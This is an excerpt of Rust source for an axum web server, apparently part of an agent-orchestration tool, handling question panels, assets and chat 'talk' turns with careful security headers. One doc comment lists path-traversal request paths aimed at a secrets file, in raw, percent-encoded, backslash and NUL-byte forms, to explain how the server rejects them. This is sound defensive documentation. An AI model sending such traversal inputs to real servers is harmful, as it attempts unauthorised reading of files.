6182/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
6183/// is a *different* process - the run parked behind `magi ask` - and picks
6184/// the reply up on its own poll of the very same file, same as an answer
6185/// does.
6186async fn question_say(
6187    State(ui): State<Arc<Ui>>,
6188    Path(id): Path<String>,
6189    body: std::result::Result<Json<NewSay>, JsonRejection>,
6190) -> ApiResult<Json<QuestionView>> {
6191    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6192    blocking(move || {
6193        let id = resolve_question(&ui.questions, &id)?;
6194        let q = ui
6195            .questions
6196            .get(&id)
6197            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6198        if !q.status.open() {
6199            // Same granularity as `question_answer`: answered or abandoned in
6200            // between the list and the tap is not this route's error to
6201            // explain any differently.
6202            return Err(ApiError::conflict(format!(
6203                "question {} is already {}",
6204                q.short(),
6205                q.status.as_str()
6206            )));
6207        }
6208        // `Question::say` owns the one rule that matters here - an empty
6209        // message tells the agent nothing - so the route does not restate it.
6210        let (q, ()) = ui
6211            .questions
6212            .update(&q.id, |r| r.say(body.body))
6213            .map_err(ApiError::bad_request_from)?;
6214        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6215        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6216        Ok(Json(
6217            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6218        ))
6219    })
6220    .await
6221}
6222
6223/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
6224/// came from. The question stays open: the chat agent answers it with `magi
6225/// answer`, or puts the decision to the owner in the conversation.
6226///
6227/// Answers 202 and runs the turn in the background, like every route that
6228/// spends agent calls. The text is queued as a draft of the existing talk, and
6229/// the turn goes through the talk's own gate and session; no seat or waiter is
6230/// started here.
6231async fn question_consult(
6232    State(ui): State<Arc<Ui>>,
6233    Path(id): Path<String>,
6234) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6235    let (view, reclaimed) = blocking({
6236        let ui = Arc::clone(&ui);
6237        move || {
6238            let id = resolve_question(&ui.questions, &id)?;
6239            let q = ui
6240                .questions
6241                .get(&id)
6242                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6243            if !q.status.open() {
6244                return Err(ApiError::conflict(format!(
6245                    "question {} is already {}",
6246                    q.short(),
6247                    q.status.as_str()
6248                )));
6249            }
6250            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6251            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6252                return Err(ApiError::conflict(format!(
6253                    "question {} has no chat to ask",
6254                    q.short()
6255                )));
6256            };
6257            // Read the config before `begin` saves anything: a failure here
6258            // must leave no consult record or draft behind, or a retry would
6259            // see `fresh == false` and never start the turn.
6260            let cfg = if q.consult.is_none() {
6261                Some(Config::discover(&talk.repo, None)?.0)
6262            } else {
6263                None
6264            };
6265            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6266            let claim = if fresh {
6267                match ui.begin_queued_talk_turn(&talk.id)? {
6268                    Some(turn_guard) => {
6269                        let talk = ui.talks.get(&talk.id)?;
6270                        let cfg = match cfg {
6271                            Some(cfg) => cfg,
6272                            None => Config::discover(&talk.repo, None)?.0,
6273                        };
6274                        Some((talk, cfg, turn_guard))
6275                    }
6276                    None => None,
6277                }
6278            } else {
6279                None
6280            };
6281            let q = ui.questions.get(&q.id)?;
6282            let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6283            let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6284            Ok((view, claim))
6285        }
6286    })
6287    .await?;
6288    if let Some((talk, cfg, turn_guard)) = reclaimed {
6289        let talks = ui.talks.clone();
6290        let id = talk.id.clone();
6291        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6292    }
6293    Ok((StatusCode::ACCEPTED, Json(view)))
6294}
6295
6296/// Expand an id or short id to exactly one question id.
6297fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6298    if store.path_of(id).is_file() {
6299        return Ok(id.to_owned());
6300    }
6301    pick(
6302        store.list().into_iter().map(|q| q.id).collect(),
6303        id,
6304        "question",
6305    )
6306}
6307
6308/// `GET /api/questions/{id}/panel`.
6309///
6310/// The panel an agent wrote for this question, as `text/html` under
6311/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
6312/// A question without one is a 404 rather than an empty page: the client
6313/// preflights this route with `HEAD` and must be able to tell "no panel" from
6314/// "a panel that rendered blank", and a sandboxed frame is opaque to the
6315/// parent document so it cannot tell the difference by looking.
6316///
6317/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
6318/// sanitises or minifies it - a sanitiser is a list of things someone thought
6319/// of, and the sandbox plus the CSP is a list of things that are allowed, which
6320/// is the direction that stays safe when an agent writes markup nobody
6321/// predicted.
6322async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6323    blocking(move || {
6324        let id = resolve_question(&ui.questions, &id)?;
6325        let Some(html) = ui.questions.panel_html(&id) else {
6326            return Err(ApiError::not_found(format!("question {id} has no panel")));
6327        };
6328        Ok(panel_response(
6329            "text/html; charset=utf-8",
6330            false,
6331            html.into_bytes(),
6332        ))
6333    })
6334    .await
6335}
6336
6337/// `GET /api/questions/{id}/asset/{name}`.
6338///
6339/// One file from the question's own panel directory, so a panel can show a
6340/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
6341/// having to allow anything off this machine.
6342///
6343/// This is the only route in the server where a client names a file, so it is
6344/// the only one with a traversal surface, and the name is checked by
6345/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
6346/// what is worth being explicit about, because the answer is not "all of it in
6347/// one place":
6348///
6349/// * `asset/../../secrets` never reaches this handler at all. axum matches on
6350///   the raw request path and `{name}` spans exactly one segment, so a real
6351///   slash makes the request too long for the route and the router answers 404.
6352/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
6353///   percent-decodes path parameters, so `name` arrives as `../secrets` and
6354///   `..\secrets` respectively, which look like plain filenames to the router.
6355///   The validator refuses them here - both for the literal `..` and because
6356///   `/` and `\` are not in the permitted character set - and answers 400.
6357/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
6358///   the platform's path API is not, and it is refused here for the same
6359///   reason: NUL is not a permitted character.
6360/// * [`Questions::panel_asset`] validates again on read, so the check is not
6361///   load-bearing in only one place. This route's own check exists so the
6362///   failure is a 400 that says which name was wrong, rather than a store error
6363///   the operator has to interpret.
6364async fn question_asset(
6365    State(ui): State<Arc<Ui>>,
6366    Path((id, name)): Path<(String, String)>,
6367) -> ApiResult<Response> {
6368    // Before any filesystem work and before any path is built: a name this
6369    // server will not serve should not become a `PathBuf` at all.
6370    if !crate::ask::valid_asset_name(&name) {
6371        return Err(ApiError::bad_request(format!(
6372            "`{name}` is not a usable asset name"
6373        )));
6374    }
6375    blocking(move || {
6376        let id = resolve_question(&ui.questions, &id)?;
6377        let asset = ui
6378            .questions
6379            .panel_asset(&id, &name)
6380            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6381        let Some(bytes) = asset else {
6382            return Err(ApiError::not_found(format!(
6383                "question {id} has no asset `{name}`"
6384            )));
6385        };
6386        Ok(panel_response(
6387            asset_content_type(&name),
6388            is_svg(&name),
6389            bytes,
6390        ))
6391    })
6392    .await
6393}
6394
6395/// Content type for a panel asset, from a closed whitelist.
6396///
6397/// A whitelist with an `application/octet-stream` fallback rather than a
6398/// guess, because the one answer that must never come out of here is
6399/// `text/html`. An agent that writes `notes.html` into its panel directory and
6400/// links it would otherwise get its own markup rendered at the top level of the
6401/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
6402/// magi's origin - which is precisely the thing the panel design exists to
6403/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
6404///
6405/// `nosniff` accompanies this on every response, so a browser cannot decide it
6406/// knows better than the type we sent.
6407fn asset_content_type(name: &str) -> &'static str {
6408    match extension(name).as_deref() {
6409        Some("png") => "image/png",
6410        Some("jpg" | "jpeg") => "image/jpeg",
6411        Some("gif") => "image/gif",
6412        Some("webp") => "image/webp",
6413        Some("svg") => "image/svg+xml",
6414        Some("css") => "text/css; charset=utf-8",
6415        Some("txt") => "text/plain; charset=utf-8",
6416        _ => "application/octet-stream",
6417    }
6418}
6419
6420/// Is this an SVG, and therefore a file that must never be opened at the top
6421/// level?
6422fn is_svg(name: &str) -> bool {
6423    extension(name).as_deref() == Some("svg")
6424}
6425
6426/// Lowercased extension, or `None` for a name without one.
6427fn extension(name: &str) -> Option<String> {
6428    name.rsplit_once('.')
6429        .map(|(_, ext)| ext.to_ascii_lowercase())
6430}
6431
6432/// Every panel response, with the four headers that make it safe and, for an
6433/// SVG, a fifth.
6434///
6435/// One function rather than a header list per handler, because a panel route
6436/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
6437/// model gone, silently, on one of two routes. Adding a third panel route later
6438/// means calling this, and there is nowhere else to build a panel response.
6439///
6440/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
6441/// as an `<img src>` inside the panel that script cannot run - but the asset
6442/// URL is also a plain URL an operator can be talked into opening in a tab,
6443/// where it is a document on magi's own origin. `Content-Disposition:
6444/// attachment` makes the browser download it instead of rendering it, which
6445/// closes that door without taking away the ability to draw a diff. Raster
6446/// images have no such execution surface and are left inline, so tapping a
6447/// screenshot still shows it.
6448fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6449    let mut res = (
6450        [
6451            (header::CONTENT_TYPE, content_type),
6452            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6453            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6454            (header::REFERRER_POLICY, "no-referrer"),
6455        ],
6456        body,
6457    )
6458        .into_response();
6459    if download {
6460        res.headers_mut().insert(
6461            header::CONTENT_DISPOSITION,
6462            HeaderValue::from_static("attachment"),
6463        );
6464    }
6465    res
6466}
6467
6468/// A talk as the phone reads it.
6469///
6470/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
6471/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
6472/// parses markdown itself - and the process-local `thinking` hint.
6473#[derive(Debug, Serialize)]
6474struct TalkView {
6475    #[serde(flatten)]
6476    talk: Talk,
6477    turn_bodies_md: Vec<Vec<md::Node>>,
6478    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
6479    /// this server process.
6480    ///
6481    /// This is deliberately not durable: another server process cannot see
6482    /// it, and a restarted server must not claim an old turn is live. It is a
6483    /// progress hint rather than proof a reply landed; the transcript remains
6484    /// the source of truth for that.
6485    thinking: bool,
6486    /// Context-window usage, derived per request - see
6487    /// [`talk::context_usage`]. Carried on every talk response (list, detail
6488    /// and each mutation) so the phone needs no extra call or polling.
6489    context: talk::ContextUsage,
6490    /// `[talk] operator_name`, when configured; the Chat labels the
6491    /// operator's turns with it.
6492    operator_name: Option<String>,
6493    /// The active persona's display name; `None` for the default voice.
6494    persona_name: Option<String>,
6495    /// URL of the avatar for the conversation's persona (the default voice
6496    /// included). Server-built; a configured `icon` never reaches the client.
6497    persona_avatar: String,
6498    /// Fixed operator avatar; display only and independent of repository config.
6499    operator_avatar: String,
6500}
6501
6502impl TalkView {
6503    /// Reads the talk's repository config itself; a config that cannot be
6504    /// read leaves the window unknown but never fails the conversation.
6505    fn new(talk: Talk, thinking: bool) -> Self {
6506        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6507        Self::with_config(talk, thinking, cfg.as_ref())
6508    }
6509
6510    /// As [`Self::new`], with the config already in hand (the list reads one
6511    /// per repository, not one per conversation).
6512    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6513        let context = talk::context_usage(&talk, cfg);
6514        let turn_bodies_md = talk
6515            .turns
6516            .iter()
6517            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6518            .collect();
6519        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6520        let persona_name = persona::find(specs, &talk.persona)
6521            .filter(|p| !p.is_default())
6522            .map(|p| p.name);
6523        let persona_avatar = avatar_url(
6524            &talk.id,
6525            &persona::find(specs, &talk.persona)
6526                .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6527        );
6528        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6529        Self {
6530            turn_bodies_md,
6531            thinking,
6532            context,
6533            operator_name,
6534            persona_name,
6535            persona_avatar,
6536            operator_avatar: format!(
6537                "/avatars/operator.svg?v={}",
6538                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
6539            ),
6540            talk,
6541        }
6542    }
6543}
6544
6545/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
6546/// conversation has filed, so the phone can follow one from inside the
6547/// conversation that asked for it rather than hunting the Queue for a task id
6548/// it may not remember.
6549#[derive(Debug, Serialize)]
6550struct TalkDetailView {
6551    #[serde(flatten)]
6552    view: TalkView,
6553    tasks: Vec<TaskView>,
6554    /// The agents this talk's repository can switch to; empty when its
6555    /// configuration cannot be read, which must not fail the whole detail.
6556    roster: Vec<RosterEntry>,
6557    /// The personas the conversation can pick from. The built-ins are always
6558    /// listed, even when the repository's configuration cannot be read.
6559    personas: Vec<PersonaEntry>,
6560}
6561
6562/// One persona as the talk's persona selector shows it.
6563#[derive(Debug, Serialize)]
6564struct PersonaEntry {
6565    id: String,
6566    name: String,
6567    /// Avatar URL, see [`TalkView::persona_avatar`].
6568    avatar: String,
6569}
6570
6571/// One roster agent as the talk's agent selector shows it.
6572#[derive(Debug, Serialize)]
6573struct RosterEntry {
6574    id: String,
6575    kind: AgentKind,
6576    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
6577    runnable: bool,
6578}
6579
6580/// `GET /api/talks`.
6581///
6582/// Every conversation, open ones first and newest first - [`Talks::list`]'s
6583/// own order.
6584async fn talks_list(
6585    State(ui): State<Arc<Ui>>,
6586    Query(q): Query<ListQuery>,
6587) -> ApiResult<Json<Vec<TalkView>>> {
6588    blocking(move || {
6589        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6590        Ok(Json(
6591            ui.talks
6592                .list()
6593                .into_iter()
6594                .filter(|talk| q.contains(&talk.id))
6595                .map(|talk| {
6596                    let thinking = ui.is_thinking(&talk.id);
6597                    let cfg = configs
6598                        .entry(talk.repo.clone())
6599                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6600                    TalkView::with_config(talk, thinking, cfg.as_ref())
6601                })
6602                .collect(),
6603        ))
6604    })
6605    .await
6606}
6607
6608/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
6609/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
6610/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
6611/// end still opens a talk against an older binary.
6612#[derive(Debug, Default, Deserialize)]
6613#[serde(default)]
6614struct NewTalk {
6615    agent: Option<String>,
6616    repo: Option<PathBuf>,
6617    /// Remembered choices from the browser. Soft: kept as raw JSON so a
6618    /// wrong type is dropped like a stale value instead of failing the request;
6619    /// each falls back to its default on its own (see [`talk::begin_with`]).
6620    preferred_agent: Option<serde_json::Value>,
6621    persona: Option<serde_json::Value>,
6622    implementers: Option<serde_json::Value>,
6623}
6624
6625/// `POST /api/talks` - open a conversation. Takes no agent turn: see
6626/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
6627async fn talk_post(
6628    State(ui): State<Arc<Ui>>,
6629    body: std::result::Result<Json<NewTalk>, JsonRejection>,
6630) -> ApiResult<impl IntoResponse> {
6631    // An absent body, or an empty one, is the normal way to open a talk - see
6632    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
6633    // rather than refused.
6634    let body = match body {
6635        Ok(Json(body)) => body,
6636        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6637        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6638    };
6639    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6640    let cfg = config_for(&repo).await?;
6641    let view = blocking(move || {
6642        let preferred = talk::Preferred {
6643            agent: body
6644                .preferred_agent
6645                .as_ref()
6646                .and_then(|v| v.as_str())
6647                .map(str::to_owned),
6648            persona: body
6649                .persona
6650                .as_ref()
6651                .and_then(|v| v.as_str())
6652                .map(str::to_owned),
6653            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6654        };
6655        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6656        let thinking = ui.is_thinking(&talk.id);
6657        Ok(TalkView::new(talk, thinking))
6658    })
6659    .await?;
6660    Ok((StatusCode::CREATED, Json(view)))
6661}
6662
6663/// `GET /api/talks/{id}`.
6664async fn talk_detail(
6665    State(ui): State<Arc<Ui>>,
6666    Path(id): Path<String>,
6667) -> ApiResult<Json<TalkDetailView>> {
6668    blocking(move || {
6669        let id = resolve_talk(&ui.talks, &id)?;
6670        let talk = ui.talks.get(&id)?;
6671        let thinking = ui.is_thinking(&talk.id);
6672        let tasks = talk::tasks_of(&ui.queue, &talk.id)
6673            .into_iter()
6674            .map(TaskView::from)
6675            .collect();
6676        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6677        let roster = cfg
6678            .as_ref()
6679            .map(|cfg| {
6680                cfg.agents
6681                    .iter()
6682                    .map(|a| RosterEntry {
6683                        id: a.id.clone(),
6684                        kind: a.kind,
6685                        runnable: agent::installed(a),
6686                    })
6687                    .collect()
6688            })
6689            .unwrap_or_default();
6690        let specs = cfg
6691            .as_ref()
6692            .map(|cfg| cfg.talk.personas.clone())
6693            .unwrap_or_default();
6694        let personas = persona::catalog(&specs)
6695            .into_iter()
6696            .map(|p| PersonaEntry {
6697                avatar: avatar_url(&talk.id, &p),
6698                id: p.id,
6699                name: p.name,
6700            })
6701            .collect();
6702        Ok(Json(TalkDetailView {
6703            view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6704            tasks,
6705            roster,
6706            personas,
6707        }))
6708    })
6709    .await
6710}
6711
6712/// The body of `POST /api/talks/{id}/say`.
6713///
6714/// `attachments` names ids `POST /api/talks/{id}/attachments` already
6715/// returned - never bytes of its own - so a turn with no images just omits
6716/// the field, which is what an older front end still does.
6717#[derive(Debug, Default, Deserialize)]
6718#[serde(default, deny_unknown_fields)]
6719struct NewTalkTurn {
6720    reply_to: Option<talk::ReplyTarget>,
6721    text: String,
6722    attachments: Vec<String>,
6723}
6724
6725#[derive(Debug, Deserialize)]
6726#[serde(deny_unknown_fields)]
6727struct EditTalkPending {
6728    #[serde(default)]
6729    message: Option<usize>,
6730    text: String,
6731    expected_text: String,
6732    expected_attachments: Vec<String>,
6733}
6734
6735#[derive(Debug, Deserialize)]
6736#[serde(deny_unknown_fields)]
6737struct ClearTalkPending {
6738    expected_text: String,
6739    expected_attachments: Vec<String>,
6740}
6741
6742/// `POST /api/talks/{id}/say` - one turn of the conversation.
6743///
6744/// Not filesystem work, and therefore not routed through [`blocking`]: this
6745/// route spawns an agent CLI and a turn here can run for the whole of
6746/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
6747/// research turn is expected to run commands rather than answer from what it
6748/// already knows. Holding an HTTP connection open that long is not a thing
6749/// to ask a phone to do; the operator's message is recorded and answered for
6750/// immediately, and the reply lands in the background, discovered through
6751/// the change stream's `talks_rev` the same way every other update on this
6752/// surface is.
6753async fn talk_say(
6754    State(ui): State<Arc<Ui>>,
6755    Path(id): Path<String>,
6756    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6757) -> ApiResult<(StatusCode, Json<TalkView>)> {
6758    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6759    if body.text.trim().is_empty() && body.attachments.is_empty() {
6760        return Err(ApiError::bad_request("say something"));
6761    }
6762
6763    let id = {
6764        let ui = Arc::clone(&ui);
6765        let asked = id.clone();
6766        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6767    };
6768    // A closed Talk never accepts a new immediate or queued turn. Check this
6769    // before claiming a slot so its ordinary domain refusal is a 409, not an
6770    // incidental failure from the later record/queue write.
6771    {
6772        let ui = Arc::clone(&ui);
6773        let id = id.clone();
6774        blocking(move || {
6775            let talk = ui.talks.get(&id)?;
6776            if !talk.status.open() {
6777                return Err(ApiError::conflict(format!(
6778                    "talk {} is {} and takes no more turns",
6779                    talk.short(),
6780                    talk.status.as_str()
6781                )));
6782            }
6783            Ok(())
6784        })
6785        .await?;
6786    }
6787
6788    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
6789    // actually stores, before anything is written - an unknown id is a 4xx
6790    // that names it rather than a turn (or a queued draft) silently missing
6791    // an image.
6792    let attachments = {
6793        let ui = Arc::clone(&ui);
6794        let id = id.clone();
6795        let ids = body.attachments.clone();
6796        blocking(move || {
6797            ids.into_iter()
6798                .map(|att_id| {
6799                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6800                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6801                    })
6802                })
6803                .collect::<ApiResult<Vec<talk::Attachment>>>()
6804        })
6805        .await?
6806    };
6807
6808    // Pending recovery and a new immediate turn are decided under the same
6809    // claim lock. Without that one critical section, a second `/say` can see
6810    // the first request's claim as "busy" and append itself to the recovered
6811    // draft before the first request rejects it.
6812    let start = {
6813        let ui = Arc::clone(&ui);
6814        let id = id.clone();
6815        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6816    };
6817    let turn_guard = match start {
6818        TalkTurnStart::Claimed(turn_guard) => turn_guard,
6819        TalkTurnStart::Pending => {
6820            return Err(ApiError::conflict(
6821                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6822            ));
6823        }
6824        TalkTurnStart::Foreign => {
6825            return Err(ApiError::conflict(
6826                "a turn is already running in another process; try again when it has finished",
6827            ));
6828        }
6829        TalkTurnStart::Busy => {
6830            // A turn is already running: queue rather than refuse. See
6831            // `Ui::begin_talk_turn` and `talk::queue`.
6832            //
6833            // The queue write and the drain it may owe live inside the task
6834            // `tokio::spawn` hands to the runtime, for the same reason the
6835            // immediate path below puts `record` there: a dropped handler
6836            // future must not be able to land between a durable write and
6837            // the task that answers it. `blocking` runs its closure on
6838            // `spawn_blocking`, which finishes whether or not anyone is left
6839            // to receive its result - so a disconnect at the `.await` below
6840            // would otherwise leave the draft persisted and the reclaimed
6841            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
6842            // ever started and the queued text stranded until some later
6843            // `say` happened to pick it up. The caller's 202 travels back
6844            // over a `oneshot`, sent the moment the write lands.
6845            let (tx, rx) = tokio::sync::oneshot::channel();
6846            tokio::spawn({
6847                let ui = Arc::clone(&ui);
6848                let id = id.clone();
6849                let said = body.text.clone();
6850                let reply_to = body.reply_to.clone();
6851                async move {
6852                    let written = blocking({
6853                        let ui = Arc::clone(&ui);
6854                        let id = id.clone();
6855                        move || {
6856                            let mut talk = ui.talks.get(&id)?;
6857                            // A test-only stop point, right before the write
6858                            // an interleaving test needs to pin - see
6859                            // `BusyQueueGate`. `None` in every real server:
6860                            // the field only exists under `#[cfg(test)]`.
6861                            #[cfg(test)]
6862                            if let Some(gate) = ui
6863                                .busy_queue_gate
6864                                .lock()
6865                                .unwrap_or_else(PoisonError::into_inner)
6866                                .take()
6867                            {
6868                                let _ = gate.reached.send(());
6869                                let _ = gate.release.recv();
6870                            }
6871                            if let Err(error) = talk::queue_reply(
6872                                &mut talk,
6873                                &ui.talks,
6874                                &said,
6875                                attachments,
6876                                reply_to,
6877                            ) {
6878                                if let Ok(fresh) = ui.talks.get(&id) {
6879                                    if !fresh.status.open() {
6880                                        return Err(ApiError::conflict(format!(
6881                                            "talk {} is {} and takes no more turns",
6882                                            fresh.short(),
6883                                            fresh.status.as_str()
6884                                        )));
6885                                    }
6886                                }
6887                                return Err(
6888                                    if error.to_string().contains("invalid reply target") {
6889                                        ApiError::bad_request("invalid reply target")
6890                                    } else {
6891                                        ApiError::from(error)
6892                                    },
6893                                );
6894                            }
6895                            // The turn that looked busy a moment ago can have
6896                            // finished, found nothing to drain and given up the
6897                            // slot in the gap between that check and this write
6898                            // landing - see `drain_loop`'s own doc for the other
6899                            // half of why that gap would otherwise be able to
6900                            // open at all. Reclaiming the slot here, rather than
6901                            // trusting that whoever held it is still watching, is
6902                            // what stops the text just queued from being stranded
6903                            // until an unrelated future `say` happens to drain
6904                            // it.
6905                            let claim = match ui.begin_queued_talk_turn(&id)? {
6906                                Some(turn_guard) => {
6907                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6908                                    Some((talk.clone(), cfg, turn_guard))
6909                                }
6910                                None => None,
6911                            };
6912                            let thinking = ui.is_thinking(&id);
6913                            Ok((TalkView::new(talk, thinking), claim))
6914                        }
6915                    })
6916                    .await;
6917                    let (view, reclaimed) = match written {
6918                        Ok(pair) => pair,
6919                        Err(e) => {
6920                            // Nobody is listening if the handler's own future
6921                            // was already dropped - that is fine, nothing was
6922                            // persisted and there is no response left to carry
6923                            // this error to.
6924                            let _ = tx.send(Err(e));
6925                            return;
6926                        }
6927                    };
6928                    // If this fails, the caller is gone; the drain below still
6929                    // runs exactly as it would have for a caller that stayed.
6930                    let _ = tx.send(Ok(view));
6931                    if let Some((talk, cfg, turn_guard)) = reclaimed {
6932                        let talks = ui.talks.clone();
6933                        drain_loop(talk, talks, cfg, id, turn_guard).await;
6934                    }
6935                }
6936            });
6937            let view = rx
6938                .await
6939                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6940            return Ok((StatusCode::ACCEPTED, Json(view)));
6941        }
6942    };
6943
6944    let (talk, cfg) = {
6945        let ui = Arc::clone(&ui);
6946        let id = id.clone();
6947        blocking(move || {
6948            let talk = ui.talks.get(&id)?;
6949            let (cfg, _) = Config::discover(&talk.repo, None)?;
6950            Ok((talk, cfg))
6951        })
6952        .await?
6953    };
6954
6955    let talks = ui.talks.clone();
6956    // `record` runs *inside* the spawned task, rather than in this handler
6957    // followed by a separate `tokio::spawn` for `respond` - axum drops this
6958    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
6959    // doc), and that drop can land at any `.await` this function makes,
6960    // including one that has already produced its result but not yet
6961    // resumed. A message could end up recorded on disk with the handler
6962    // future gone before it ever reached the `tokio::spawn` that would have
6963    // started the reply. `tokio::spawn` itself is a plain, synchronous call
6964    // that hands the whole future to the runtime as one unit - once made, no
6965    // later drop of *this* handler's own future (that call's return value is
6966    // never held onto here) can reach back in and stop it, so record and the
6967    // hand-off to `respond` are unconditionally atomic from the client's
6968    // point of view. The immediate response this handler owes the caller
6969    // travels back over a `oneshot`, sent the moment `record` succeeds.
6970    let (tx, rx) = tokio::sync::oneshot::channel();
6971    tokio::spawn({
6972        let ui = Arc::clone(&ui);
6973        let talks = talks.clone();
6974        let id = id.clone();
6975        let said = body.text.clone();
6976        let reply_to = body.reply_to.clone();
6977        let mut talk = talk.clone();
6978        async move {
6979            let recorded = blocking({
6980                let talks = talks.clone();
6981                move || {
6982                    if let Err(error) =
6983                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
6984                    {
6985                        if let Ok(fresh) = talks.get(&talk.id) {
6986                            if !fresh.status.open() {
6987                                return Err(ApiError::conflict(format!(
6988                                    "talk {} is {} and takes no more turns",
6989                                    fresh.short(),
6990                                    fresh.status.as_str()
6991                                )));
6992                            }
6993                        }
6994                        return Err(if error.to_string().contains("invalid reply target") {
6995                            ApiError::bad_request("invalid reply target")
6996                        } else {
6997                            ApiError::from(error)
6998                        });
6999                    }
7000                    // `record` mutates `talk` in place to the freshly persisted
7001                    // state (status, pending, and the just-appended operator
7002                    // turn), so returning it here is equivalent to re-reading it
7003                    // from disk - without the extra round trip a re-read would
7004                    // need.
7005                    Ok((said.trim().to_owned(), talk))
7006                }
7007            })
7008            .await;
7009            let (text, mut talk) = match recorded {
7010                Ok(pair) => pair,
7011                Err(e) => {
7012                    // Nobody is listening if the handler's own future was
7013                    // already dropped - that is fine, there is no response
7014                    // left to carry this error to and nothing was persisted.
7015                    let _ = tx.send(Err(e));
7016                    return;
7017                }
7018            };
7019            let queued = talk.clone();
7020            let thinking = ui.is_thinking(&id);
7021            // If this fails, the caller is gone; the turn still runs below
7022            // exactly as it would have for a caller that stayed connected.
7023            let _ = tx.send(Ok((queued, thinking)));
7024
7025            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7026                // `respond` records the failure in the transcript itself,
7027                // which is what the phone reads; this line is for the
7028                // operator's terminal.
7029                tracing::warn!("talk {id} turn failed: {e:#}");
7030            }
7031            // Anything `talk::queue` added while the turn above was running
7032            // is still owed an answer - see `drain_loop`.
7033            drain_loop(talk, talks, cfg, id, turn_guard).await;
7034        }
7035    });
7036
7037    let (queued, thinking) = rx
7038        .await
7039        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7040
7041    // 202: the operator's message is recorded and a turn is running.
7042    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
7043}
7044
7045/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
7046/// changing it. The turn guard is the same per-talk ownership `talk_say`
7047/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
7048async fn talk_pending_resume(
7049    State(ui): State<Arc<Ui>>,
7050    Path(id): Path<String>,
7051) -> ApiResult<(StatusCode, Json<TalkView>)> {
7052    let id = {
7053        let ui = Arc::clone(&ui);
7054        let asked = id.clone();
7055        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7056    };
